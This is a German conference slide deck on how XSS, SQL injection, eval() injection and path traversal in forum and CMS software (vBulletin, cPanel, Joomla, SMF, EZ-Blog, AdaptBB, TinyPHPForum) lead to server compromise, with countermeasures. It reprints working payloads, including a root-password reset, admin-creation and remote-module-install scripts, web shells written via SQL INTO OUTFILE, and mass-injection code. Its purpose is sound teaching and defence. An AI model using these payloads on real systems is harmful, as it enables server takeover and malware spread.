



Carsten Eilers

# XSS kompromittiert Server

Ungewöhnliche Exploits näher  
betrachtet

# Vorstellung

- Berater für IT-Sicherheit
- Autor
  - About Security
  - Standpunkt Sicherheit
  - Buch „Ajax Security“
  - und anderes...
- Schwachstellen-Datenbank
  - „Security Aktuell“ auf [entwickler.de](http://entwickler.de)



# Agenda

- ◉ Vorbemerkungen
- ◉ XSS-Angriffe auf den Server
- ◉ SQL-Injection-Angriffe auf den Server
- ◉ eval()-Injection
- ◉ Merkwürdiges Paket
- ◉ „Die böse Seite der Macht“

# Vorbemerkungen (1)

- „XSS ist harmlos“
- „XSS betrifft nur den Client“
- „Dem Server kann nichts passieren“

**Stimmt, oder stimmt nicht?**

# Vorbemerkungen (2)

- „XSS ist harmlos“
  - Cookies ausspähen
  - Phishing
  - Drive-by-Infektionen über persistentes XSS/JavaScript-Injection

**XSS ist nicht harmlos!**

# Vorbemerkungen (3)

Standpunkt Sicherheit KW 19/08 (5. Mai 08)

McAfees „Hacker Safe“-Zertifikat erlaubt XSS

„Mit an Sicherheit grenzender Wahrscheinlichkeit kann kein Server über XSS gehackt werden, also ist der Server vor Hackern sicher, d.h. Hacker-safe.“

# Vorbemerkungen (4)

Standpunkt Sicherheit KW 25/08 (16. Juni 08)

„XSS erlaubt Codeausführung auf dem Server“

Wie war das doch gleich?

„Mit an Sicherheit grenzender Wahrscheinlichkeit kann kein Server über XSS gehackt werden,...“

# Agenda

- Vorbemerkungen
- **XSS-Angriffe auf den Server:  
vBulletin**
- SQL-Injection-Angriffe auf den Server
- eval()-Injection
- Merkwürdiges Paket
- „Die böse Seite der Macht“

# XSS-Angriffe auf den Server, 1

Klassische XSS-Schwachstelle in vBulletin:

```
admincp/index.php?redirect={XSS}
```

Harmlos?

Jelsoft sagt „Ja!“

# XSS-Angriff über vBulletin (1)

Jessica Hope sagt „Nein!“

- Schwachstelle auf Login-Seite zum Admin Control Panel ACP
- Exploit unabhängig davon, ob Admin eingeloggt oder nicht  
Wenn nicht, muss er sich einloggen

# XSS-Angriff über vBulletin (2)

- Exploit Base64-kodiert als data:-URI übergeben
- Exploit überlebt Login und wird dann aktiv
- Beispiel:  
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

```
<script>alert('XSS')</script>
```

# XSS-Angriff über vBulletin (3)

- Schwachstelle erlaubt das Ausführen beliebigen JavaScript-Codes im Browser des vBulletin-Admins
- vBulletin hat 'hooks', die mit eval()-Aufrufen arbeiten
- Neue 'hooks' können über das ACP hinzugefügt werden

# XSS-Angriff über vBulletin (4)

```
data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3JtL
XVybGVuY29kZWQnO2M9J0NvbnRlbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgn
O3JlZz0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcslCcodHR
wOi8vbG9jYWxob3N0L3ZCL3VwbG9hZC9hZG1pbmNwL3BsdWdpbi5waHA/ZG89YW
RkJywgZmFsc2UpO3JlZy5zZW5kKG51bGwpO3lgPSByZWcucmVzcG9uc2VUZXRh0O
3Q9J2h0dHA6Ly9sb2NhbGhvc3QvdklvdXBsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7a
D0nJmFkbWluaGFzaD0nK3luc3Vic3RyKHluaW5kZXhPZignaGFzaFwiJykrMTMsMzlp
O3RvPScmc2VjdXJpdHI0b2tlbj0nK3luc3Vic3RyKHluaW5kZXhPZignG9rZW5clicpKz
E0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va25hbWU9Zm9ydW1ob21lX3
N0YXJ0JmRvPwZGF0ZSZ0aXRST1mb28mZXhIY3V0aW9ub3JkZXI9MSZwaHBjb
2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG87cjlGPSBuZXcgWE1MSHR0cFJlcX
Vlc3QoKTtyMi5vcGVuKCdQT1NUJywgZmFsc2UpO3lyLnNldFJlcXVlc3RlZWFkZ
XloZCwgZmFsc2UpO3lyLnNldFJlcXVlc3QoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjluc2VuZC
h0Mik7dD0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25
zLnBocCc7dDI9J2RvPWRvb3B0aW9ucyZzZXRoZW5nW2VuYWJsZW5vb2tzXT0xJyto
K3Rv
O3lyPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJyx0LGZhbHNlK
TtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjluc2VuZC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25
GVhZGVyKGMsdSk7cjluc2VuZC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2RvPWRvb3B0aW9ucyZzZXRoZW5nW2VuYWJsZW5vb2tzXT0xJyto
K3Rv
```

# XSS-Angriff über vBulletin (5)

```
<script>eval("u='application/x-www-form-urlencoded';c='Content-type';d='Content-length';reg= new XMLHttpRequest();reg.open('GET', 'http://localhost/vB/upload/admincp/plugin.php?do=add', false);reg.send(null);r = reg.responseText;t='http://localhost/vB/upload/admincp/plugin.php';h='&adminhash='+r.substr(r.indexOf('hash\\')+13,32);to='&securitytoken='+r.substr(r.indexOf('token\\')+14,40);t2='product=vbulletin&hookname=forumhome_start&do=update&title=foo&executionorder=1&phpcode=phpinfo();&active=1'+h+to;r2 = new XMLHttpRequest();r2.open('POST', t, false);r2.setRequestHeader(d, t2.length);r2.setRequestHeader(c,u);r2.send(t2);t='http://localhost/vB/upload/admincp/options.php';t2='do=doptions&setting[enablehooks]=1'+h+to;r2= new XMLHttpRequest();r2.open('POST',t,false);r2.setRequestHeader(d,t2.length);r2.setRequestHeader(c,u);r2.send(t2);")</script>
```

# XSS-Angriff über vBulletin (6)

```
<script> eval("
    u='application/x-www-form-urlencoded';
    c='Content-type';
    d='Content-length';
    reg=new XMLHttpRequest();
    reg.open('GET',
    'http://localhost/vB/upload/admincp/plugin.php?do=add',
    false);
    reg.send(null);
    r=reg.responseText;
```

# XSS-Angriff über vBulletin (7)

```
r=reg.responseText;
t='http://localhost/vB/upload/admincp/plugin.php';
h='&adminhash='+r.substr(r.indexOf('hash')+13,32);
to='&securitytoken='+r.substr(r.indexOf('token')+14,40);
t2='product=vbulletin&hookname=forumhome_start&do=update
&title=foo&executionorder=1&phpcode=phpinfo();&active=1'+h
+to;
r2=new XMLHttpRequest();
r2.open('POST', t, false);
r2.setRequestHeader(d,t2.length);
r2.setRequestHeader(c,u);
r2.send(t2);
```

# XSS-Angriff über vBulletin (8)

```
t='http://localhost/vB/upload/admincp/options.php';  
t2='do=doptions&setting[enablehooks]=1'+h+t;  
r2=new XMLHttpRequest();  
r2.open('POST', t, false);  
r2.setRequestHeader(d,t2.length);  
r2.setRequestHeader(c,u);  
r2.send(t2);  
")</script>
```

# XSS-Angriff über vBulletin (9)

Was fehlt?

Der Admin muss den Link anklicken, danach ist der Server kompromittiert

Etwas Social Engineering ...

„XSS ist harmlos“ „Dann klick doch, Feigling“

... BINGO!

# XSS-Angriff über vBulletin (10)

Gegenmaßnahmen?

Admin klickt auf Link, Server vertraut Admin und führt Anweisung aus - sieht aus wie CSRF, oder?

# Exkurs: CSRF (1)

- Server identifiziert Benutzer z.B. über Cookie, HTTP Basic Authentication
- Beispiel: Benutzer anlegen  
Admin ruft auf:

`http://www.server.example/anwendung/  
adduser.php?name=foo&pass=bar&status=admin`

# Exkurs: CSRF (2)

- CSRC-Angriff:

```

```

# Exkurs: CSRF (3)

## Gegenmaßnahmen:

- Zufälliges Token im Formular, Ausführung nur mit gültigen Token

## Bei kritischen Aktionen zusätzlich

- Rückfragen
- erneute Passwortabfrage
- CAPTCHA

# XSS-Angriff über vBulletin (11)

## Gegenmaßnahmen?

- CSRF ist nicht möglich, als Schutz dient das Token
  - nur Requests mit gültigem Token werden ausgeführt
- ABER: Dank XSS kennt der Angreifer das Token

~~Cross-Site~~ Request Forgery

Same-Site

# XSS-Angriff über vBulletin (12)

Lösung:

- Rückfragen, erneute Passwortabfrage, CAPTCHA
- Keine XSS-Schwachstellen haben ;-)

# Agenda

- Vorbemerkungen
- **XSS-Angriffe auf den Server:  
cPanel**
- SQL-Injection-Angriffe auf den Server
- eval()-Injection
- Merkwürdiges Paket
- „Die böse Seite der Macht“

# XSS-Angriffe auf den Server, 2

Eben: Webanwendungs-Admin

Jetzt: System-Admin

Mike Bailey:

XSS + CSRF-Schwachstellen in cPanel

# XSS-Angriff über cPanel (1)

- Datei .contactemail im Home-Verzeichnis jedes Benutzers
- Kann vom Benutzer geändert werden
- Beispiel:  
"onmouseover="alert(1337)
- Wird aktiv, wenn der Admin die E-Mail-Adresse zurücksetzt

# XSS-Angriff über cPanel (2)

- Web Hosting Manager (WHM) kann alle möglichen Aufgaben auf Systemebene erledigen
- z.B. Passwörter ändern

# XSS-Angriff über cPanel (3)

```
"onmouseover="f=document.forms[0];  
f.action='/scripts/passwd';  
f.user.value='root';  
f.removeChild(f.domain);  
d=document.createElement('input');  
f.appendChild(d);d.name='password';d.value='owned';  
d=document.createElement('input');  
f.appendChild(d);d.name='password2';d.value='owned';  
f.submit()
```

# XSS-Angriff über cPanel (4)

Kein Problem, weil man seinen Benutzern vertraut!

Wirklich?

Beim Shared Hosting mit zig Kunden?

Aber es geht auch ohne XSS...

# XSS-Angriff über cPanel (5)

root-Passwort ohne XSS ändern - CSRF reicht

```
http://victim.com:2086/scripts/passwd?  
user=root&password=owned&password2=owned  
&submit-domain2=Change+Password
```

... oder mit reflektiertem XSS...

# XSS-Angriff über cPanel (6)

Beim persistenten XSS musste ein Benutzer böse sein, beim reflektierten reicht ein unaufmerksamer Admin:

```
http://victim.com:2086/scripts2/confdkillproc?  
%3Cscript%3Ealert(1337)%3C/script%3E=1  
&trusted=
```

# Agenda

- Vorbemerkungen
- **XSS-Angriffe auf den Server:  
RSMonials**
- SQL-Injection-Angriffe auf den Server
- eval()-Injection
- Merkwürdiges Paket
- „Die böse Seite der Macht“

# XSS-Angriffe auf den Server, 3

## XSS-Schwachstelle in Joomla!-Komponente RSMonials:

- Alle Eingaben in das Kommentarfeld werden als HTML gerendert
- magic\_quotes unterdrückt ggf. Quote-Zeichen

```
<script src=http://badsite.com/evil.js></script>
```

# XSS-Angriff über RSMonial (1)

## Installer in unsichtbarem iFrame installiert böses Modul:

```
var exploited = false;
var iframe = document.createElement( 'iframe' );
var reg = new RegExp( 'administrator' );
if( reg.test( location.href ) )
{
    iframe.src = 'index.php?option=com_installer';
    iframe.setStyle( 'display', 'none' );
    document.body.appendChild( iframe );
    iframe.addEvent( 'load', exploit );
}
```

# XSS-Angriff über RSMonial (2)

```
function exploit( e )
{
    if( exploited != true )
    {
        var doc = e.target.contentDocument; if( !doc ) return;
        var inp = doc.getElementById( 'install_url' );
        inp.value = 'http://badsite.com/exploit.zip';
        var b = inp.parentNode.getElementsByTagName( 'input' )[1];
        b.onclick();
        exploited = true;
    }
}
```

# XSS-Angriff über RSMonial (3)

## Andere Möglichkeit: Einen neuen Super-Administrator anlegen

```
function exploit( e )
{
    if( exploited != true )
    {
        var newForm = false;
        var doc = e.target.contentDocument; if( !doc ) return;
        var nb = doc.getElementsByTagName( 'a' ); if( !nb ) return;
        var i = 0;
        for( ; i<nb.length; i++ )
        {
```

# XSS-Angriff über RSMonial (4)

```
if( nb[i].parentNode.id == 'toolbar-new' )
{
    nb[i].onclick();
}
else if( nb[i].parentNode.id == 'toolbar-save' )
{
```

# XSS-Angriff über RSMonial (5)

```
doc.getElementById( 'name' ).value = 'hacked';  
doc.getElementById( 'username' ).value = 'hacked';  
doc.getElementById( 'email' ).value = 'your@freemail.com';  
doc.getElementById( 'password' ).value = 'password';  
doc.getElementById( 'password2' ).value = 'password';  
var g = doc.getElementById( 'gid' );  
g.selectedIndex = g.options.length - 1;  
nb[i].onclick();  
exploited = true;
```

```
}}}}
```

# XSS-Angriff über RSMonial (6)

Voraussetzung:

Administrator betrachtet den Eintrag,  
während er eingeloggt ist

... aber das klappt schon, notfalls mit etwas  
Social Engineering

# Agenda

- Vorbemerkungen
- **XSS-Angriffe auf den Server:  
Simple Machines Forum**
- SQL-Injection-Angriffe auf den Server
- eval()-Injection
- Merkwürdiges Paket
- „Die böse Seite der Macht“

# XSS-Angriffe auf den Server, 4

Charles FOL:

Mehrere Schwachstellen im Simple Machines  
Forum (SMF)

Zusammen genommen erlauben sie die  
Ausführung von Code auf dem Server

# XSS-Angriff über SMF (1)

Schwachstelle 1:

„Session Code“ schützt das Admin-Panel vor  
CSRF

Installation eines Packages ist ohne möglich,  
gültige Admin-Session reicht

# XSS-Angriff über SMF (2)

Schwachstelle 2:

Package-Installation über

SMF/index.php?action=packages;sa=install2;package=[filename]

`$_REQUEST['package']` wird nicht geprüft

# XSS-Angriff über SMF (3)

Schwachstelle 3:

Anhänge an Beiträge werden nicht geprüft,  
nur vorhersagbar umbenannt und ins  
Verzeichnis attachments/ verschoben

# XSS-Angriff über SMF (4)

Schwachstelle 4:

SMF erlaubt die Anzeige von Bildern von anderen Servern:

```
[img]<url>[/img]
```

# XSS-Angriff über SMF (5)

Alles zusammen:

- Beitrag mit zu installierendem GZIP-Archiv als Anhang veröffentlichen
- Namen des Anhangs ermitteln
- Beitrag mit [img]-Tag mit URL zum Installieren des Packages veröffentlichen oder obigen ändern
- Betrachtet der Admin den Beitrag...

# XSS-Angriff über SMF (6)

## Voraussetzungen:

- Angreifer muss Benutzer sein - in öffentlichen Foren kein Problem
- Admin muss Beitrag öffnen - mit Social Engineering kein Problem, Beschwerde über den Beitrag reicht

# Agenda

- Vorbemerkungen
- XSS-Angriffe auf den Server
- **SQL-Injection-Angriffe auf den Server**  
**EZ-Blog**
- eval()-Injection
- Merkwürdiges Paket
- „Die böse Seite der Macht“

# SQL-Injection-Angriffe

## SQL-Injection:

- Authentifizierung umgehen (' or '1=1'--)
- Daten lesen

Und wie wäre es mit PHP-Code einschleusen?

# SQL-Injection in EZ-Blog (1)

'YEnH4ckEr':

SQL-Injection-Schwachstelle in EZ-Blog

Betroffen:

POST-Parameter 'category' im Skript  
public/specific.php

# SQL-Injection in EZ-Blog (2)

PHP-Code über SQL in Datei schreiben:

```
<form method="post"
  action="http://[HOST]/[HOME_PATH]/public/specific.php">
<input type="hidden" name="category" value="-1' union all select
  'Dateiinhalt' INTO OUTFILE '[COMPLETE-PATH]/public/shell.php'/*">
<input name="submit" value="Upload shell" type="submit">
</form>
```

# SQL-Injection in EZ-Blog (3)

Der SQL-Injection-Code:

```
-1' union all select 'Dateiinhalte' INTO OUTFILE  
'[COMPLETE-PATH]/public/shell.php'/*
```

Danach befindet sich der Dateiinhalt im Skript

```
[COMPLETE-PATH]/public/shell.php
```

# SQL-Injection in EZ-Blog (4)

## Der Dateiinhalt:

```
'<HTML><title>SHELL BY --Y3NH4CK3R--></title><body
text=#ffffff bgcolor=#000000><center><h1>', 'YOUR SHELL IS
ON!<br></h1></center><br><br>', '<font
color=#ff0000><h2>Get var (cmd) to execute comands. Enjoy
it!</h2></font>', '<script>alert(String.fromCharCode(67,111,109,
109,97,110,100,32,101,120,101,99,117,116,101,100,33))</scri
pt>', '<h3>Command Result:</h3>', '<?php
system($_GET[cmd]); ?>', '<br><br><font
color=#ff0000><h3>By y3nh4ck3r. Contact:
y3nh4ck3r@gmail.com</h3></font></body>', '</HTML>'
```

# SQL-Injection in EZ-Blog (5)

```
<HTML> <title>SHELL BY --Y3NH4CK3R--> </title>
```

```
<body>
```

```
<center><h1>YOUR SHELL IS ON!</h1></center>
```

```
<h2>Get var (cmd) to execute comands. Enjoy it!</h2>
```

```
<script>alert(String.fromCharCode(67,111,109,109,97,110,100,32,101,120,101,99,117,116,101,100,33))</script>
```

```
<h3>Command Result:</h3>
```

```
<?php system($_GET[cmd]); ?>
```

```
<h3>By y3nh4ck3r. Contact: y3nh4ck3r@gmail.com</h3>
```

```
</body>
```

```
</HTML>
```

# SQL-Injection in EZ-Blog (6)



# SQL-Injection in EZ-Blog (7)

## Ursachen:

- ◉ SQL-Injection-Schwachstelle
- ◉ Datenbank darf in Datei schreiben
- ◉ sytem()-Aufruf ist erlaubt

# SQL-Injection in EZ-Blog (8)

## Gegenmaßnahmen:

- SQL-Injection-Schwachstelle
  - Eingaben filtern
- Datenbank darf in Datei schreiben
  - i.A. unnötig => verbieten
- sytem()-Aufruf ist erlaubt
  - i.A. unnötig => disable\_functions

# Agenda

- Vorbemerkungen
- XSS-Angriffe auf den Server
- **SQL-Injection-Angriffe auf den Server**  
**AdaptBB**
- eval()-Injection
- Merkwürdiges Paket
- „Die böse Seite der Macht“

# SQL-Injection-Angriffe, 2

Blind SQL-Injection: Das Ergebnis ist nicht zu sehen

Kein Problem - es reicht, wenn das Skript hinterher da ist

# SQL-Injection in AdaptBB (1)

Salvatore "drosophila" Fresta:

Mehrere Schwachstellen in AdaptBB:

- ◉ Blind SQL-Injection
- ◉ Dynamic Code Execution
- ◉ File Upload (hier uninteressant)

# SQL-Injection in AdaptBB (2)

```
http://site/path/inc/attach.php?id=-1' UNION ALL SELECT  
'<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO  
OUTFILE '/var/www/htdocs/path/rce.php'%23
```

```
http://site/path/index.php?do=profile&user=blabla&box=-1'  
UNION ALL SELECT '<?php system($_GET[cmd])%3b ?  
>',2,3,4,5,6,7,8 INTO OUTFILE  
'/var/www/htdocs/path/rce.php'%23
```

Aufruf:

```
http://site/path/rce.php?cmd=uname -a
```

# SQL-Injection in AdaptBB (3)

Gleiches Problem wie eben - nur der Exploit ist noch einfacher

Aber da war doch noch was:

- Dynamic Code Execution

# Agenda

- ◉ Vorbemerkungen
- ◉ XSS-Angriffe auf den Server
- ◉ SQL-Injection-Angriffe auf den Server
- ◉ **eval()-Injection:  
AdaptBB**
- ◉ Merkwürdiges Paket
- ◉ „Die böse Seite der Macht“

# eval()-Injection in AdaptBB (1)

Aus dem Quelltext:

...

```
if ($_GET['box']) { $folder = $_GET['box']; }
```

...

```
$ddata[] = ucwords($folder);
```

...

```
eval (" ?> ".str_replace($cdata, $ddata,  
    stripslashes(template($view."_header")))." <?php ");
```

...

# eval()-Injection in AdaptBB (2)

eval() is evil():

```
http://www.site.com/path/index.php?do=profile&user=bl  
  abla&box=<?php echo "<pre>"; system('ls'); echo  
  "</pre>"?>
```

```
http://www.site.com/path/index.php?do=messages&use  
  r=blabla&box=<?php echo "<pre>"; system('ls'); echo  
  "</pre>"?>
```

# eval()-Injection in AdaptBB (3)

Solche Schwachstellen sind leider nicht ungewöhnlich, sondern kommen immer wieder vor - und lassen sich noch dazu extrem einfach ausnutzen

- ◉ eval() vermeiden
- ◉ nur eigenen Daten verwenden
- ◉ Benutzerdaten streng prüfen

# Agenda

- Vorbemerkungen
- XSS-Angriffe auf den Server
- SQL-Injection-Angriffe auf den Server
- eval()-Injection
- **Merkwürdiges Paket:  
TinyPHPForum**
- „Die böse Seite der Macht“

# Merkwürdiges Paket

brain[pillow]

Zwei Schwachstellen in TinyPHPForum:

- File Disclosure (hier uninteressant)
- Code Execution

Code Execution:

Just send this \*\*\*\* evil packet for registration and the shell will be created there:

```
/lang/cekac.php.skin?c=[eval code]
```

# Code Exec. in TinyPHPForum (1)

POST /updatepf.php HTTP/1.1

User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1

Host: localhost

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, \*/\*;q=0.1

Referer: http://localhost/profile.php?action=new

Cookie: PHPSESSID=a2b64d278abd18347c1fd3c27a6dc1f2;

Connection: Keep-Alive

Content-Length: 1235

Content-Type: multipart/form-data; boundary=-----  
felyX3Pd15MPzClqGeALKe

# Code Exec. in TinyPHPForum (2)

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="sessionid"  
a2b64d278abd18347c1fd3c27a6dc1f2

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="uname"  
../lang/cekac.php

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="ulang"  
big5

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="uskin"  
<?php eval(\$\_GET[c]);?>

# Code Exec. in TinyPHPForum (3)

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="email"

qwe@qwe.net

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="p1"

123qwe

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="p2"

123qwe

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="stat"

hack the planet

# Code Exec. in TinyPHPForum (4)

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="avatar"

image/avatars/bird1.jpg

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="MAX\_FILE\_SIZE"

10240

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="userfile"; filename=""

-----felyX3Pd15MPzClqGeALKe

Content-Disposition: form-data; name="type"

new

# Code Exec. in TinyPHPForum (5)

## Parameter und Variablen:

sessionid a2b64d278abd18347c1fd3c27a6dc1f2  
uname ../lang/cekac.php  
ulang big5  
uskin <?php eval(\$\_GET[c]);?>  
email qwe@qwe.net  
...  
type new

# Code Exec. in TinyPHPForum (6)

/updatepf.php

...

```
$uskin=$_POST["uskin"];
```

...

```
$uname=$_POST["uname"];
```

...

Keinerlei Prüfung!

# Code Exec. in TinyPHPForum (7)

```
...  
if ($type=="new")  
{ ...  
    if ($err==0)  
    {  
        ...  
        // Skin file  
        writeFile("users/".$uname.".skin", $uskin);  
    }  
...  
...
```

# Code Exec. in TinyPHPForum (8)

```
function writeFile($filename, $txt)
{
    $handle = fopen($filename, 'w+');
    fwrite($handle, $txt);
    fclose($handle);
}
```

Auch hier: Keinerlei Prüfung!

# Code Exec. in TinyPHPForum (9)

```
writeFile("users/" . $uname . ".skin", $uskin);
```

mit

```
uname    ../lang/cekac.php
```

```
uskin    <?php eval($_GET[c]);?>
```

ergibt

```
writeFile("users/../lang/cekac.php.skin",  
    "<?php eval($_GET[c]);?>");
```

# Code Exec. in TinyPHPForum (10)

Ergebnis:

lang/cekac.php.skin

mit Inhalt

```
<?php eval($_GET[c]);?>
```

# Code Exec. in TinyPHPForum (11)

Kein Problem, weil .php.skin nicht ausgeführt wird?

Irrtum!

Bei einer typischen Apache-Konfiguration wird diese Datei als Skript erkannt und ausgeführt!

# Code Exec. in TinyPHPForum (12)

```
LoadModule php4_module modules/libphp4.so
```

```
AddType application/x-httpd-php .php
```

aktiviert PHP für alle Dateien, die den String  
.php **im Namen** haben - nicht nur die, die  
damit enden

# Code Exec. in TinyPHPForum (13)

## Gegenmaßnahmen:

- Alle Eingaben prüfen:
  - in Dateien geschriebene und
  - für Dateinamen verwendete
- Beim Datei-Upload eigenen Namen erzeugen, nicht den der Datei übernehmen
  - Ist der erratbar, kann u.U. direkt auf die Datei zugegriffen werden (SMF!)

# Agenda

- ◉ Vorbemerkungen
- ◉ XSS-Angriffe auf den Server
- ◉ SQL-Injection-Angriffe auf den Server
- ◉ eval()-Injection
- ◉ Merkwürdiges Paket
- ◉ **„Die böse Seite der Macht“**

# „Die böse Seite der Macht“

## SQL-Injection in ASP

Seit Anfang 2008 mehrere Angriffswellen:

Harmlose Websites werden für Drive-by-Infektionen präpariert

```
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CA  
ST(0x4400450043004C004100520045002000400054002  
00076006100720063006800610072...
```

# SQL-Injection in ASP (1)

Tabellen-Cursor ermittelt alle Tabellen und zugehörige Spalten mit Typ `ntext`, `text`, `nvarchar` oder `varchar`, die Benutzer- und keine Systemtabelle sind.

# SQL-Injection in ASP (2)

```
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name
      from sysobjects a,syscolumns b
      where a.id=b.id and a.xtype='u'
            and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
            b.xtype=167)
OPEN Table_Cursor
```

# SQL-Injection in ASP (3)

WHILE-Schleife hängt an jedes gefundene Feld den Schadcode an, vorhandene Daten werden in `varchar` umgewandelt, führende Leerzeichen entfernt

# SQL-Injection in ASP (4)

```
FETCH NEXT FROM Table_Cursor INTO @T,@C
  WHILE(@@FETCH_STATUS=0)
BEGIN
  exec('update ['+@T+']
      set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
      "[Schadcode]"
  ')
  FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

# SQL-Injection in ASP (5)

Schadcode:

```
<script src=http://boese.example/skript.js></script>
```

Und was hat das mit PHP zu tun?

Eigentlich nichts - aber nur, weil es bisher keinen Massenangriff auf PHP gab, muss das ja nicht so bleiben. Darum: Augen auf!

# Massen-Defacement mit PHP (1)

Bojan Zdrnja im Handler's Diary des ISC:

Massendefacement von LAMP-Systemen

# Massen-Defacement mit PHP (2)

Eingeschleustes PHP-Skript durchläuft  
Verzeichnishierarchie

```
for ($i = 3; $i < 500; $i++) {  
    if ($i == 438) continue;  
    flush_buffer('<b>/home/sites/site' . $i .  
'/web</b>:<br>');  
    iframe_account(array('/home/sites/site' . $i . '/web'));  
}
```

# Massen-Defacement mit PHP (3)

Webroot-Verzeichnis für alle Domains

/home/sites/site[number]/web

In allen .php-, .htm-, .html- und .tpl-Dateien  
</body>-Tag manipuliert:

```
$iframed_content = str_replace('</body>', '<iframe  
src=http://[REMOVED].info/counter  
style=display:none></iframe></body>', $content);
```

# Massen-Defacement mit PHP (4)

Problem:

Webserver muss auf alle Dateien zugreifen können

Lösung:

Rechte richtig setzen

PHP als CGI, Apache mit chroot / suExec

# Fragen?

# Vielen Dank...

... für Ihre Aufmerksamkeit

Material und Links auf  
[www.ceilers-it.de/konferenzen/](http://www.ceilers-it.de/konferenzen/)

